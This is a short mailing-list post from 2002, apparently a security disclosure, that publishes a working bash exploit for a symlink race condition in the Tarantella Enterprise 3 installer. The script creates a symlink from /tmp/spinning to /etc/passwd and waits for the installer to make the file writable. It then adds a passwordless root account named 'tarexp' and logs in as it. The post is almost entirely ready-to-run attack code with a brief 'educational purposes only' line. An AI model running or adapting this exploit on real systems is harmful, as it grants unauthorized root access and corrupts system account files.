Exploit for Tarantella Enterprise installation (bid 4115)

From: Larry W. Cashdollar (lwcat_private)
Date: Sun Feb 24 2002 - 05:59:38 PST

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    Had some idle time and wrote this, tested under Linux.
    
    
    
    #!/bin/bash
    #Larry W. Cashdollar  lwcat_private
    #http://vapid.dhs.org
    #Tarantella Enterprise 3 symlink local root Installation exploit
    #For educational purposes only.
    #tested on Linux.  run and wait.
    
    
    echo "Creating symlink."
    
    /bin/ln -s /etc/passwd /tmp/spinning
    
    echo "Waiting for tarantella installation."
    
    while true
    do
    echo -n .
    if [ -w /etc/passwd ]
    then
    	echo "tarexp::0:0:Tarantella Exploit:/:/bin/bash" >> /etc/passwd
            su - tarexp
            exit
    fi
    done
    



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